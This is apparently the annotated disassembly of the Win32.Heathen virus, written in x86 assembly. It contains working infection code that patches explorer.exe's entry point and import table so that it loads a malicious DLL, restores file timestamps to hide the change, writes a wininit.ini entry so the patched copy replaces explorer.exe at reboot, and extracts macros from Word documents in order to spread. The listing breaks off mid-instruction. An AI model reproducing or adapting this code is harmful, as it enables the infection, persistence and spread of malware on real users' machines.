Win32.Heathen ; --------------------------------------------------------------------------- ; some definitions of structures API_STRUC struc OLE_MemoryAllocator dd ? GetWindowsDirectoryA dd ? CopyFileA dd ? DeleteFileA dd ? CreateFileA dd ? ReadFile dd ? WriteFile dd ? CloseHandle dd ? SetFilePointer dd ? GetFileTime dd ? SetFileTime dd ? lstrcatA dd ? lstrcpyA dd ? lstrcmpA dd ? lstrlenA dd ? StgOpenStorage dd ? StgCreateDocFile dd ? CoGetMalloc dd ? API_STRUC ends ; --------------------------------------------------------------------------- WIN32_FIND_DATA_STRUC struc dwFileAttributes dd ? ftCreationTime dq ? ftLastAccessTime dq ? ftLastWriteTime dq ? nFileSizeHigh dd ? nFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName db 80 dup(?) cAlternateFileName db 14 dup(?) WIN32_FIND_DATA_STRUC ends ; --------------------------------------------------------------------------- STATG_STRUC struc pwcsName dd ? type dd ? cbSize dq ? mtime dq ? ctime dq ? atime dq ? grfMode dd ? grfLocksSupported dd ? clsid db 16 dup(?) grfStateBits dd ? dwStgFmt dd ? STATG_STRUC ends ; --------------------------------------------------------------------------- DirectorySTRUC struc DirectoryName dd ? NextDirectorySTRUC dd ? DirectorySTRUC ends ; --------------------------------------------------------------------------- ILockBytes_Interface struc QueryInterface dd ? AddRef dd ? Release dd ? ReadAt dd ? WriteAt dd ? Flush dd ? SetSize dd ? LockRegion dd ? UnlockRegion dd ? Stat dd ? ILockBytes_Interface ends ; --------------------------------------------------------------------------- WNDCLASS_STRUC struc style dd ? lpfnWndProc dd ? cbClsExtra dd ? cbWndExtra dd ? hInstance dd ? hIcon dd ? hCursor dd ? hbrBackground dd ? lpszMenuName dd ? lpszClassName dd ? WNDCLASS_STRUC ends ; --------------------------------------------------------------------------- Import struc OriginalFirstThunk dd ? TimeDateStamp dd ? ForwarderChain dd ? DllName dd ? FirstThunk dd ? Import ends ; --------------------------------------------------------------------------- Section struc Name db 8 dup(?) VirtualSize dd ? VirtualAddress dd ? SizeOfRawData dd ? PointerToRawData dd ? PointerToRelocations dd ? PointerToLinenumbers dd ? NumberOfRelocations dw ? NumberOfLinenumbers dw ? Characteristics dd ? Section ends ; --------------------------------------------------------------------------- IMalloc_Interface struc QueryInterface dd ? AddRef dd ? Release dd ? PreAlloc dd ? PostAlloc dd ? PreFree dd ? PostFree dd ? PreRealloc dd ? PostRealloc dd ? PreGetSize dd ? PostGetSize dd ? PreDidAlloc dd ? PostDidAlloc dd ? PreHeapMinimize dd ? PostHeapMinimize dd ? IMalloc_Interface ends ; --------------------------------------------------------------------------- IStream_Interface struc QueryInterface dd ? AddRef dd ? Release dd ? Read dd ? Write dd ? Seek dd ? SetSize dd ? CopyTo dd ? Commit dd ? Revert dd ? LockRegion dd ? UnlockRegion dd ? Stat dd ? Clone dd ? IStream_Interface ends ; --------------------------------------------------------------------------- IStorage_Interface struc QueryInterface dd ? AddRef dd ? Release dd ? CreateStream dd ? OpenStream dd ? CreateStorage dd ? OpenStorage dd ? CopyTo dd ? MoveElementTo dd ? Commit dd ? Revert dd ? EnumElements dd ? DestroyElement dd ? RenameElement dd ? SetElementTimes dd ? SetClass dd ? SetStateBits dd ? Stat dd ? IStorage_Interface ends ; ; File Name : heathen.vdl ; Format : Portable executable (PE) ; Section 1. (virtual address 00001000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00001600 ( 5632.) ; Offset to raw data for section: 00000600 ; Flags 60000020: Text Executable Readable ; Alignment : 16 bytes ? unicode macro page,string,zero irpc c, db '&c', page endm ifnb dw zero endif endm p586 model flat ; --------------------------------------------------------------------------- ; Segment type: Pure code CODE segment para public 'CODE' use32 assume cs:CODE ;org 401000h assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing ; --------------- S U B R O U T I N E --------------------------------------- ; Virus macro calls this routine through Callback24 API ; Attributes: bp-based frame Callback24_code proc near HEATHEN_BASE= dword ptr 8 ActiveDocument= dword ptr 0Ch GetProcAddress= dword ptr 10h KERNEL32= dword ptr 14h OLE32= dword ptr 18h push ebp mov ebp, esp pusha push [ebp+OLE32] push [ebp+KERNEL32] push [ebp+GetProcAddress] push [ebp+ActiveDocument] mov eax, [ebp+HEATHEN_BASE] push eax mov ebx, eax add ebx, 663h ; EBX = raw offset of Explorer patch code, equivalent to Virtual Address 401063h push ebx sub eax, 401400h ; VAdata-403000h = RAWdata-1C00h ==> RAWdata = VAdata - 401400h push eax call InstallVIRUS popa pop ebp retn 14h Callback24_code endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame asciiz_to_unicode proc near ASCIIZ= dword ptr 8 UNICODE= dword ptr 0Ch push ebp mov ebp, esp pusha xor eax, eax mov esi, [ebp+ASCIIZ] mov edi, [ebp+UNICODE] cld NextCharacter: lodsb stosw ; convert to unicode, for use with OLE functions or eax, eax jnz short NextCharacter popa pop ebp retn asciiz_to_unicode endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame UpperCase proc near ASCIIZ_String= dword ptr 8 push ebp mov ebp, esp push eax push esi mov esi, [ebp+ASCIIZ_String] Next_Character: mov al, [esi] cmp al, 'a' jb short notlowercase cmp al, 'z' ja short notlowercase sub al, 20h ; convert tu uppercase mov [esi], al notlowercase: inc esi or al, al jnz short Next_Character pop esi pop eax pop ebp retn UpperCase endp ; --------------- S U B R O U T I N E --------------------------------------- Explorer_Patch_Code proc near pusha ; save registers Library_Name: push 0 ; VA address of string "Heathen.vdl" API_Name: mov eax, 0 ; VA of LoadLibraryA API call dword ptr [eax] popa ; restore registers Old_EntryPoint: push 0 ; original EntryPoint of explorer.exe retn Explorer_Patch_Code endp ; --------------------------------------------------------------------------- aHeathen_vdl_0 db 'Heathen.vdl' db 0 Encrypted_Text db 0A8h,0B8h,0CFh,0C8h,0DFh,0DDh,0B7h, 9Ah db 9Eh, 8Bh, 97h, 9Ah, 91h,0DDh,0DFh,0BCh db 90h, 8Fh, 86h, 8Dh, 96h, 98h, 97h, 8Bh db 0DFh,0D7h,0BCh,0D6h,0DFh,0CEh,0C6h,0C6h db 0CAh,0D2h,0CEh,0C6h,0C6h,0C6h,0DFh, 9Dh db 86h,0DFh,0A8h, 90h, 90h, 9Bh,0B8h, 90h db 9Dh, 93h, 96h, 91h,0DBh assume ds:nothing ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame public DLL_EntryPoint DLL_EntryPoint proc near hinstDLL= dword ptr 8 fdwReason= dword ptr 0Ch lpvReserved= dword ptr 10h push ebp ; this is the EntryPoint of Heathen.vdl library mov ebp, esp push [ebp+fdwReason] ; reason for calling function push [ebp+hinstDLL] ; handle of DLL module call DllMain pop ebp retn 0Ch DLL_EntryPoint endp ; --------------------------------------------------------------------------- align 4 ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame GetAPIAddresses proc near APIs= dword ptr 8 GetProcAddress= dword ptr 0Ch VA2RAW= dword ptr 10h KERNEL32= dword ptr 14h OLE32= dword ptr 18h push ebp mov ebp, esp push ebx push esi push edi mov eax, offset aGetWindowsDirectoryA ; VirtualAddress of API name mov edi, [ebp+VA2RAW] ; delta to convert VA into RAW offset (where its located in memory) mov esi, [ebp+GetProcAddress] add eax, edi mov ebx, [ebp+APIs] push eax ; API name push [ebp+KERNEL32] ; module handle call esi mov [ebx+API_STRUC.GetWindowsDirectoryA], eax mov edx, offset aCopyFileA add edx, edi push edx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.CopyFileA], eax mov ecx, offset DeleteFileA add ecx, edi push ecx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.DeleteFileA], eax mov eax, offset aCreateFileA add eax, edi push eax ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.CreateFileA], eax mov edx, offset aReadFile add edx, edi push edx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.ReadFile], eax mov ecx, offset aWriteFile add ecx, edi push ecx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.WriteFile], eax mov eax, offset aCloseHandle add eax, edi push eax ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.CloseHandle], eax mov edx, offset aSetFilePointer add edx, edi push edx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.SetFilePointer], eax mov ecx, offset aGetFileTime add ecx, edi push ecx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.GetFileTime], eax mov eax, offset aSetFileTime add eax, edi push eax ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.SetFileTime], eax mov edx, offset alstrcatA add edx, edi push edx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.lstrcatA], eax mov ecx, offset alstrcpyA add ecx, edi push ecx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.lstrcpyA], eax mov eax, offset alstrcmpA add eax, edi push eax ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.lstrcmpA], eax mov edx, offset alstrlenA add edx, edi push edx ; API name push [ebp+KERNEL32] ; KERNEL32 base call esi mov [ebx+API_STRUC.lstrlenA], eax mov ecx, offset aStgOpenStorage add ecx, edi push ecx ; API name push [ebp+OLE32] ; OLE32 base call esi mov [ebx+API_STRUC.StgOpenStorage], eax mov eax, offset aStgCreateDocfile add eax, edi push eax ; API name push [ebp+OLE32] ; OLE32 base call esi mov [ebx+API_STRUC.StgCreateDocFile], eax add edi, offset aCoGetMalloc push edi ; API name push [ebp+OLE32] ; OLE32 base call esi mov [ebx+API_STRUC.CoGetMalloc], eax push ebx ; store in first field of API_STRUC a pointer to the Memory Allocator push 1 ; must be 1 call [ebx+API_STRUC.CoGetMalloc] ; Retrieves a pointer to the default OLE task memory allocator pop edi pop esi pop ebx pop ebp retn GetAPIAddresses endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame PatchEXPLORER proc near PEheader= byte ptr -120h MZheader= byte ptr -78h pImportDirectory= dword ptr -38h LoadLibraryA_present= dword ptr -34h reloc_section= dword ptr -30h malloc_idata= dword ptr -2Ch malloc_sections= dword ptr -28h readbytes= dword ptr -24h WriteTime= qword ptr -20h AccessTime= qword ptr -18h CreationTime= qword ptr -10h FileHandle= dword ptr -8 error= dword ptr -4 APIs= dword ptr 8 WINDOWS_HeathenVEX= dword ptr 0Ch API_LoadLibraryA= dword ptr 10h MODULE_Kernel32= dword ptr 14h Patch_RAWoffset= dword ptr 18h push ebp mov ebp, esp add esp, 0FFFFFEE0h xor eax, eax push ebx push esi push edi mov esi, [ebp+APIs] mov [ebp+error], eax push 0 ; NULL push 10000000h ; FILE_FLAG_RANDOM_ACCESS (to optimize file caching) push 3 ; OPEN_EXISTING push 0 ; NULL = handle cannot be inherited push 0 ; 0 = prevent file from being shared push 0C0000000h ; GENERIC_READ + GENERIC_WRITE push [ebp+WINDOWS_HeathenVEX] call [esi+API_STRUC.CreateFileA] ; open file mov [ebp+FileHandle], eax ; file handle lea edx, [ebp+WriteTime] push edx lea ecx, [ebp+AccessTime] push ecx lea eax, [ebp+CreationTime] push eax push [ebp+FileHandle] call [esi+API_STRUC.GetFileTime] ; GetFileTime lea edx, [ebp+readbytes] ; actual number of bytes read push 0 ; NULL push edx lea ecx, [ebp+MZheader] ; buffer for MZ header push 40h ; number of bytes to read push ecx push [ebp+FileHandle] call [esi+API_STRUC.ReadFile] ; read MZ header push 0 push 0 push dword ptr [ebp+MZheader+3Ch] ; read pointer to new executable header push [ebp+FileHandle] call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of PE header lea eax, [ebp+readbytes] push 0 push eax lea edx, [ebp+PEheader] push 0A8h ; read A8h bytes of PE header push edx push [ebp+FileHandle] call [esi+API_STRUC.ReadFile] ; ReadFile mov ecx, dword ptr [ebp+PEheader+28h] ; entrypoint cmp ecx, dword ptr [ebp+PEheader+0A0h] ; relocs start jnz short error11 ; both must be different from zero! push [ebp+FileHandle] call [esi+API_STRUC.CloseHandle] ; close file xor eax, eax ; return with error jmp error10 ; --------------------------------------------------------------------------- error11: movzx edx, word ptr [ebp+PEheader+6] ; number of sections mov ecx, edx shl ecx, 3 lea ecx, [ecx+ecx*4] ; ecx = size of sections push ecx ; number of bytes to reserve mov eax, [esi] push eax ; IMalloc mov edx, [eax] call [edx+IMalloc_Interface.PreAlloc] ; reserve memory for sections mov [ebp+malloc_sections], eax ; pointer to buffer of sections push dword ptr [ebp+PEheader+84h] ; idata (import section) size mov ecx, [esi] push ecx mov eax, [ecx] call [eax+IMalloc_Interface.PreAlloc] ; reserve memory for idata section mov [ebp+malloc_idata], eax ; pointer to buffer of idata cmp [ebp+malloc_sections], 0 ; malloc ok? jz short error12 cmp [ebp+malloc_idata], 0 ; malloc ok? jnz short malloc_ok error12: push [ebp+FileHandle] call [esi+API_STRUC.CloseHandle] ; close file xor eax, eax ; return with error jmp error10 ; --------------------------------------------------------------------------- malloc_ok: push 0 ; FILE_BEGIN push 0 ; high dword of file pointer movzx edx, word ptr [ebp+PEheader+14h] ; NT Optional Header Size add edx, dword ptr [ebp+MZheader+3Ch] ; offset of PE header add edx, 18h ; size of PE File Header push edx ; low dword of file pointer push [ebp+FileHandle] call [esi+API_STRUC.SetFilePointer] ; SetFilePointer push 0 ; NULL lea ecx, [ebp+readbytes] push ecx movzx eax, word ptr [ebp+PEheader+6] ; number of sections mov edx, eax shl edx, 3 lea edx, [edx+edx*4] ; edx = size of sections push edx push [ebp+malloc_sections] ; buffer to store info of sections push [ebp+FileHandle] call [esi+API_STRUC.ReadFile] ; read sections table movzx eax, word ptr [ebp+PEheader+6] dec eax test eax, eax jl short found_idata check_next_section: lea edx, [eax+eax*4] mov ecx, [ebp+malloc_sections] mov edx, [ecx+edx*8+Section.VirtualAddress] cmp edx, dword ptr [ebp+PEheader+80h] jle short found_idata ; rva inside idata dec eax test eax, eax jge short check_next_section found_idata: movzx ecx, word ptr [ebp+PEheader+6] dec ecx ; last section mov [ebp+reloc_section], ecx cmp [ebp+reloc_section], 0 jl short found_relocs check_next_section2: mov edx, [ebp+reloc_section] lea edx, [edx+edx*4] mov ecx, [ebp+malloc_sections] mov edx, [ecx+edx*8+Section.VirtualAddress] cmp edx, dword ptr [ebp+PEheader+0A0h] ; rva of relocs jle short found_relocs ; reloc section found! dec [ebp+reloc_section] cmp [ebp+reloc_section], 0 jge short check_next_section2 found_relocs: push 0 ; FILE_BEGIN push 0 lea edx, [eax+eax*4] ; EAX=idata section number mov ecx, [ebp+malloc_sections] mov eax, [ebp+malloc_sections] mov ebx, dword ptr [ebp+PEheader+80h] ; idata RVA sub ebx, [ecx+edx*8+Section.VirtualAddress] add ebx, [eax+edx*8+Section.PointerToRawData] push ebx ; RAW offset of idata push [ebp+FileHandle] call [esi+API_STRUC.SetFilePointer] ; set file pointer to beginning of idata push 0 ; NULL lea edx, [ebp+readbytes] push edx push dword ptr [ebp+PEheader+84h] ; size of idata push [ebp+malloc_idata] ; buffer to read idata info push [ebp+FileHandle] call [esi+API_STRUC.ReadFile] ; read all idata xor ecx, ecx mov [ebp+LoadLibraryA_present], ecx mov eax, [ebp+malloc_idata] mov [ebp+pImportDirectory], eax ; actual import directory jmp next_importentry2 ; --------------------------------------------------------------------------- check_importentry: mov ebx, eax add ebx, [ebp+malloc_idata] ; start of idata buffer sub ebx, dword ptr [ebp+PEheader+80h] ; (this is because buffer may have not been read at start of idata section) push ebx call UpperCase ; convert all to uppercase pop ecx push [ebp+MODULE_Kernel32] ; KERNEL32.DLL name push ebx call [esi+API_STRUC.lstrcmpA] ; compare DLL name test eax, eax jnz short next_importentry ; not the same mov eax, [ebp+pImportDirectory] mov edi, [eax+Import.OriginalFirstThunk] ; EDI = RVA of import lookup table add edi, [ebp+malloc_idata] sub edi, dword ptr [ebp+PEheader+80h] ; EDI = converted to RAW offset xor ebx, ebx ; EBX = 0 = start of array jmp short next_api0 ; --------------------------------------------------------------------------- more_apis: test eax, eax jle short next_api ; its not imported by name add eax, [ebp+malloc_idata] sub eax, dword ptr [ebp+PEheader+80h] add eax, 2 ; skip HINT field push [ebp+API_LoadLibraryA] ; "LoadLibraryA" push eax call [esi+API_STRUC.lstrcmpA] ; compare API name test eax, eax jnz short next_api ; not the same mov eax, [ebp+pImportDirectory] mov ecx, ebx shl ecx, 2 mov edx, [eax+Import.FirstThunk] ; RVA of import address table mov eax, offset API_Name+1 add edx, ecx ; select corresponding RVA from array of RVAs sub eax, offset Explorer_Patch_Code ; start of bytes that will be written to explorer.exe add eax, [ebp+Patch_RAWoffset] ; entrypoint of that routine add edx, dword ptr [ebp+PEheader+34h] ; add ImageBase mov [eax], edx ; RVA where LoadLibraryA address will be stored xor edx, edx mov [ebp+LoadLibraryA_present], 1 ; LoadLibraryA found! :D mov [edi+ebx*4+4], edx ; make next api entry NULL, so it exits quickly, because the LoadLibrary has already been found! ;D xor eax, eax mov ecx, [ebp+pImportDirectory] mov [ecx+20h], eax ; make next import entry NULL to exit quickly, we now have what we need ;D next_api: inc ebx next_api0: mov eax, [edi+ebx*4] test eax, eax jnz short more_apis ; still more imported APIs to check next_importentry: add [ebp+pImportDirectory], 14h ; next import entry next_importentry2: mov edx, [ebp+pImportDirectory] ; actual import entry mov eax, [edx+Import.DllName] ; RVA of imported dll name test eax, eax jnz check_importentry ; check these dll imports cmp [ebp+LoadLibraryA_present], 0 jz error13 ; error, LoadLibraryA not imported mov edx, offset aHeathen_vdl_0 mov ecx, offset Library_Name+1 add edx, dword ptr [ebp+PEheader+0A0h] sub ecx, offset Explorer_Patch_Code add ecx, [ebp+Patch_RAWoffset] ; ECX = location in memory that contains VA (for explorer.exe) of Library name sub edx, offset Explorer_Patch_Code add edx, dword ptr [ebp+PEheader+34h] ; EDX = Virtual Address (when executing explorer.exe) of Library Name mov eax, offset Old_EntryPoint+1 mov [ecx], edx ; store that virtual address in the patch code sub eax, offset Explorer_Patch_Code add eax, [ebp+Patch_RAWoffset] ; EAX = location in memory that contains VA (for explorer.exe) of its original EntryPoint mov edx, dword ptr [ebp+PEheader+28h] add edx, dword ptr [ebp+PEheader+34h] ; EDX = original EntryPoint mov [eax], edx ; store old EntryPoint in the patch code push 0 ; FILE_BEGIN push 0 mov eax, [ebp+reloc_section] ; number of the reloc section mov edx, [ebp+malloc_sections] ; buffer of sections table mov ecx, dword ptr [ebp+PEheader+0A0h] ; RVA of relocs lea eax, [eax+eax*4] sub ecx, [edx+eax*8+Section.VirtualAddress] ; relative RVA from beginning of reloc section mov edx, [ebp+malloc_sections] add ecx, [edx+eax*8+Section.PointerToRawData] ; ECX = RAW offset of start of relocs push ecx push [ebp+FileHandle] call [esi+API_STRUC.SetFilePointer] ; set file pointer to start of relocs blocks push 0 ; NULL lea eax, [ebp+readbytes] ; here will be returned the actual number of bytes written push eax mov ecx, offset Encrypted_Text sub ecx, offset Explorer_Patch_Code ; ECX = size of code to patch push ecx push [ebp+Patch_RAWoffset] push [ebp+FileHandle] call [esi+API_STRUC.WriteFile] ; write patch code at beginning of relocs blocks mov eax, dword ptr [ebp+PEheader+0A0h] mov dword ptr [ebp+PEheader+28h], eax ; set new EntryPoint to point to the virus routine ;-) push 0 ; FILE_BEGIN push 0 push dword ptr [ebp+MZheader+3Ch] push [ebp+FileHandle] call [esi+API_STRUC.SetFilePointer] ; set file pointer to PEheader start lea edx, [ebp+readbytes] push 0 push edx lea ecx, [ebp+PEheader] push 0A8h ; size of PE header push ecx push [ebp+FileHandle] call [esi+API_STRUC.WriteFile] ; write PE header mov [ebp+error], 1 ; indicate we have patch explorer.exe successfully error13: push [ebp+malloc_sections] mov eax, [esi] push eax mov edx, [eax] call [edx+IMalloc_Interface.PreFree] ; free memory push [ebp+malloc_idata] mov ecx, [esi] push ecx mov eax, [ecx] call [eax+IMalloc_Interface.PreFree] ; free memory lea edx, [ebp+WriteTime] push edx lea ecx, [ebp+AccessTime] push ecx lea eax, [ebp+CreationTime] push eax push [ebp+FileHandle] call [esi+API_STRUC.SetFileTime] ; restore file time push [ebp+FileHandle] call [esi+API_STRUC.CloseHandle] ; close handle mov eax, [ebp+error] ; return error error10: pop edi pop esi pop ebx mov esp, ebp pop ebp retn PatchEXPLORER endp ; --------------- S U B R O U T I N E --------------------------------------- ; Attributes: bp-based frame CreateWININIT proc near String= byte ptr -260h BytesWritten= dword ptr -8 Character_Equal= dword ptr -4 APIs= dword ptr 8 WINDOWS_WininitINI= dword ptr 0Ch WINDOWS_ExplorerEXE= dword ptr 10h WINDOWS_HeathenVEX= dword ptr 14h HEATHEN_BASE= dword ptr 18h push ebp mov ebp, esp add esp, 0FFFFFDA0h mov eax, offset aRename lea edx, [ebp+String] push ebx push esi add eax, [ebp+HEATHEN_BASE] mov ebx, [ebp+APIs] ; APIs array push eax push edx call [ebx+API_STRUC.lstrcpyA] ; create section [rename] push [ebp+WINDOWS_ExplorerEXE] lea ecx, [ebp+String] push ecx call [ebx+API_STRUC.lstrcatA] ; add "c:windowsexplorer.exe" mov [ebp+Character_Equal], '=' lea eax, [ebp+Character_Equal] lea edx, [ebp+String] push eax push edx call [ebx+API_STRUC.lstrcatA] ; add "=" push [ebp+WINDOWS_HeathenVEX] lea ecx, [ebp+String] push ecx call [ebx+API_STRUC.lstrcatA] ; add "c:windowsheathen.vex" push 0 ; NULL push 20h ; FILE_ATTRIBUTE_ARCHIVE push 2 ; CREATE_ALWAYS push 0 ; NULL = file handle cannot be inherited push 0 ; 0 = prevent file from being shared push 40000000h ; GENERIC_WRITE push [ebp+WINDOWS_WininitINI] call [ebx+API_STRUC.CreateFileA] ; create file "c:windowswininit.ini" mov esi, eax push 0 ; NULL lea eax, [ebp+BytesWritten] ; actual number of bytes written push eax lea edx, [ebp+String] push edx call [ebx+API_STRUC.lstrlenA] ; get length of string to write push eax ; number of bytes to write lea ecx, [ebp+String] push ecx ; buffer for write push esi ; file handle call [ebx+API_STRUC.WriteFile] push esi call [ebx+API_STRUC.CloseHandle] ; close file pop esi pop ebx mov esp, ebp pop ebp retn CreateWININIT endp ; --------------- S U B R O U T I N E --------------------------------------- ; This routine install virus in system, so next reboot explorer.exe will load Heathen.vdl library ; Attributes: bp-based frame InstallVIRUS proc near Buffer= byte ptr -0E28h UNICODE_HeathenVdo= byte ptr -0C28h UNICODE_HtmpDoc= byte ptr -9D0h WINDOWS_WininitINI= byte ptr -778h WINDOWS_HeathenVDO= byte ptr -64Ch WINDOWS_HeatheVDL= byte ptr -520h WINDOWS_HeathenVEX= byte ptr -3F4h WINDOWS_ExplorerEXE= byte ptr -2C8h WINDOWS_HtmpDOC= byte ptr -19Ch APIs= API_STRUC ptr -70h writtenbytes= dword ptr -28h FileHandle= dword ptr -24h StreamSeek= qword ptr -20h MacrosSize= dword ptr -18h MacrosOffset= dword ptr -14h xTable= dword ptr -10h IStream1= dword ptr -0Ch IStorage2= dword ptr -8 IStorage1= dword ptr -4 VA2RAW= dword ptr 8 Patch_code= dword ptr 0Ch HEATHEN_BASE= dword ptr 10h ActiveDocument= dword ptr 14h GetProcAddress= dword ptr 18h KERNEL32= dword ptr 1Ch OLE32= dword ptr 20h push ebp mov ebp, esp add esp, 0FFFFF1D8h ; suck stack! yeah! 8-P push ebx push esi push edi mov ebx, [ebp+VA2RAW] push [ebp+OLE32] push [ebp+KERNEL32] push ebx push [ebp+GetProcAddress] lea eax, [ebp+APIs] ; address to store API addresses push eax call GetAPIAddresses ; get all APIs add esp, 14h lea edx, [ebp+WINDOWS_HtmpDOC] push 12Ch ; buffer size push edx call [ebp+APIs.GetWindowsDirectoryA] ; get windows directory, and store it in 6 buffers lea ecx, [ebp+WINDOWS_HtmpDOC] lea eax, [ebp+WINDOWS_ExplorerEXE] push ecx push eax call [ebp+APIs.lstrcpyA] lea edx, [ebp+WINDOWS_HtmpDOC] lea ecx, [ebp+WINDOWS_HeathenVEX] push edx push ecx call [ebp+APIs.lstrcpyA] lea eax, [ebp+WINDOWS_HtmpDOC] lea edx, [ebp+WINDOWS_HeatheVDL] push eax push edx call [ebp+APIs.lstrcpyA] lea ecx, [ebp+WINDOWS_HtmpDOC] lea eax, [ebp+WINDOWS_HeathenVDO] push ecx push eax call [ebp+APIs.lstrcpyA] lea edx, [ebp+WINDOWS_HtmpDOC] lea ecx, [ebp+WINDOWS_WininitINI] push edx push ecx call [ebp+APIs.lstrcpyA] mov eax, offset aHtmp_doc lea edx, [ebp+WINDOWS_HtmpDOC] add eax, ebx push eax push edx call [ebp+APIs.lstrcatA] ; c:windowsHtmp.doc mov ecx, offset aExplorer_exe lea eax, [ebp+WINDOWS_ExplorerEXE] add ecx, ebx push ecx push eax call [ebp+APIs.lstrcatA] ; c:windowsExplorer.exe mov edx, offset aHeathen_vex lea ecx, [ebp+WINDOWS_HeathenVEX] add edx, ebx push edx push ecx call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vex mov eax, offset aHeathen_vdl lea edx, [ebp+WINDOWS_HeatheVDL] add eax, ebx push eax push edx call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdl mov ecx, offset aHeathen_vdo lea eax, [ebp+WINDOWS_HeathenVDO] add ecx, ebx push ecx push eax call [ebp+APIs.lstrcatA] ; c:windowsHeathen.vdo mov edx, offset aWininit_ini lea ecx, [ebp+WINDOWS_WininitINI] add edx, ebx push edx push ecx call [ebp+APIs.lstrcatA] ; c:windowsWininit.ini lea eax, [ebp+WINDOWS_HtmpDOC] push 0 ; overwrite Htmp.doc if already present push eax xor esi, esi ; ESI = 0 = File errors push [ebp+ActiveDocument] call [ebp+APIs.CopyFileA] ; copy file: ActiveDocument --> c:windowsHtmp.doc test eax, eax jz error1 ; error lea edx, [ebp+UNICODE_HtmpDoc] push edx lea ecx, [ebp+WINDOWS_HtmpDOC] push ecx call asciiz_to_unicode ; convert c:windowsHtmp.doc to unicode add esp, 8 lea eax, [ebp+IStorage1] push eax ; &IStorage1 push 0 ; zero (reserved) push 0 ; NULL push 10h ; STGM_READ + STGM_SHARE_EXCLUSIVE push 0 ; NULL lea edx, [ebp+UNICODE_HtmpDoc] ; file to contain Storage object push edx call [ebp+APIs.StgOpenStorage] ; open IStorage1 object mov edi, eax test edi, edi jnz error2 ; error lea eax, [ebp+UNICODE_HeathenVdo] push eax lea edx, [ebp+WINDOWS_HeathenVDO] push edx call asciiz_to_unicode ; convert c:windowsHeathen.Vdo to unicode add esp, 8 lea ecx, [ebp+IStorage2] push ecx ; &IStorage2 push 0 ; zero (reserved) push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE lea eax, [ebp+UNICODE_HeathenVdo] ; compound file to create push eax call [ebp+APIs.StgCreateDocFile] ; create newcompound IStorage2 object mov edi, eax test edi, edi jnz error3 ; error lea eax, [ebp+IStream1] mov edi, offset aWorddocument ; WordDocument stream push eax ; &Istream1 push 0 ; zero (reserved) push 10h ; STGM_SHARE_EXCLUSIVE add edi, ebx push 0 ; zero (reserved) push edi ; name of the stream mov edx, [ebp+IStorage1] push edx mov ecx, [edx] call [ecx+IStorage_Interface.OpenStream] ; open WordDocument stream push 0 ; NULL = dont return actual number of bytes read lea eax, [ebp+Buffer] push 200h ; number of bytes to read push eax ; buffer for read mov edx, [ebp+IStream1] push edx mov ecx, [edx] call [ecx+IStream_Interface.Read] ; read WordDocument Header mov eax, offset xTable mov dx, 31h ; "1Table" add eax, ebx mov [ebp+xTable], eax test [ebp+Buffer+0Bh], 2 ; fWhichTblStm bit ; 0 = use 0Table for read ; 1 = use 1Table for read jnz short use1Table dec edx ; "0Table" use1Table: mov ecx, [ebp+xTable] mov [ecx], dx mov eax, dword ptr [ebp+Buffer+15Ah] ; fcCmds = offset in xTable stream of macros mov [ebp+MacrosOffset], eax mov edx, dword ptr [ebp+Buffer+15Eh] ; lcbCmds = size of macros mov [ebp+MacrosSize], edx mov ecx, [ebp+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Release] ; close stream cmp [ebp+MacrosSize], 200h ; greater than 200h? jg error4 lea edx, [ebp+IStream1] ; open another stream (previous one was closed) push edx ; &IStream1 push 0 ; zero (reserved) push 10h ; STGM_SHARE_EXCLUSIVE push 0 ; zero (reserved) push [ebp+xTable] ; name of stream: "0Table" or "1Table" mov ecx, [ebp+IStorage1] push ecx mov eax, [ecx] call [eax+IStorage_Interface.OpenStream] ; open Table stream mov eax, [ebp+MacrosOffset] cdq mov dword ptr [ebp+StreamSeek], eax mov dword ptr [ebp+StreamSeek+4], edx push 0 ; NULL (dont return new position) push 0 ; STREAM_SEEK_SET push dword ptr [ebp+StreamSeek+4] ; offset in Table stream push dword ptr [ebp+StreamSeek] mov eax, [ebp+IStream1] push eax mov edx, [eax] call [edx+IStream_Interface.Seek] ; Seek in table stream push 0 ; NULL = dont return actual number of bytes read lea ecx, [ebp+Buffer] push [ebp+MacrosSize] ; number of bytes to read push ecx ; buffer mov eax, [ebp+IStream1] push eax mov edx, [eax] call [edx+IStream_Interface.Read] ; read macros from Table stream mov ecx, [ebp+IStream1] push ecx mov eax, [ecx] call [eax+IStream_Interface.Release] ; close Table stream lea edx, [ebp+IStream1] ; lets use same variable for another stream :-) push edx ; &IStream1 push 0 ; zero (reserved) push 0 ; zero (reserved) push 1011h ; STGM_CREATE + STGM_SHARE_EXCLUSIVE + STGM_WRITE push edi ; name of stream to create: "WordDocument" mov ecx, [ebp+IStorage2] push ecx ; &IStorage2 (heathen.vdo) mov eax, [ecx] call [eax+IStorage_Interface.CreateStream] ; create stream mov edi, 